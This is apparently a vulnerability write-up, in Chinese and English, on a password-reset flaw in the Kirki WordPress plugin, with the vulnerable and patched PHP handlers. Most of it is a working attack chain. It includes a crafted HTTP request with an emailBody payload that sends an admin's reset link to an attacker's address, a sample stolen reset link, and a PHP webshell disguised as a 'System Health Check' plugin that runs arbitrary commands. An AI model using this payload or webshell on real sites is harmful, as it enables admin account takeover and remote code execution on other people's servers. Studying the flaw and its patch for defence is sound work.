public function handle_forgot_password( $request ) {
    $form_data = $request->get_body_params();
    $this->validate_nonce( 'kirki-forgot-password' );

    $email    = $form_data['email'];     // <-- ATTACKER CONTROLLED
    $username = $form_data['username'];

    $user = get_user_by( 'login', $username );
    //BUG: Does NOT check $email === $user->user_email
    //      Attacker's email is used directly

    $key = get_password_reset_key( $user );
    $reset_link = "$url?action=rp&key=$key&login=$username";

    // SENDS RESET LINK TO ATTACKER'S EMAIL
    wp_mail( $email, $subject, $body_with_reset_link );
    //       ^^^^^
    //  ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}

// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject'];   // Client-controlled
$email_body    = $form_data['emailBody'];       // Client-controlled
// No verify_email_template_signature()

// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}

阶段 1：提取 Nonce       → 从公开页面获取 nonce（如需要）
阶段 2：劫持重置电子邮件  → 将重置链接发送到攻击者的电子邮件
阶段 3：重置密码         → 使用获取的重置密钥修改管理员密码
阶段 4：登录管理员       → 使用新密码登录
阶段 5：上传 Webshell    → 通过插件上传安装后门
阶段 6：RCE             → 在服务器上执行任意命令

// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
                 ? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
              ? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
    if ( $body_data['type'] === 'text' ) {
        $email_body = $email_body . $body_data['value'];
    } elseif ( $body_data['type'] === 'chip' ) {
        $email_body = $email_body . $chip_data[ $body_data['value'] ];
        //                                     ^^^^^^^^^^^^^^^^^^^
        //                $chip_data['reset_link'] = actual reset URL!
    }
}

grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/

发现端点（/wp-json/ 或 rest_route）
       ↓
阅读 PHP 源码 → 找到 $form_data['emailBody']
       ↓
理解 JSON 数组格式（type / value）
       ↓
阅读 chip_data 数组 → 找到键 "reset_link"
       ↓
构造 payload：emailBody=[{"type":"chip","value":"reset_link"}]
       ↓
测试 → 成功

POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded

username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

Subject: Password Reset

Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
    echo '<pre>';
    echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
    echo '</pre>';
}

管理后台（帐户接管）
       ↓
上传包含 Webshell 的插件（.zip）
       ↓
WordPress 解压 → .php 文件驻留在服务器上
       ↓
访问 shell.php?cmd=<command>
       ↓
服务器执行命令 → 返回结果
       ↓
RCE 完成 — 在服务器上获得完整的 www-data 权限

// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response(
        array( 'message' => 'If an account exists...' ), 200
    );
}
$email = $user_email;  // Force use of the user's actual email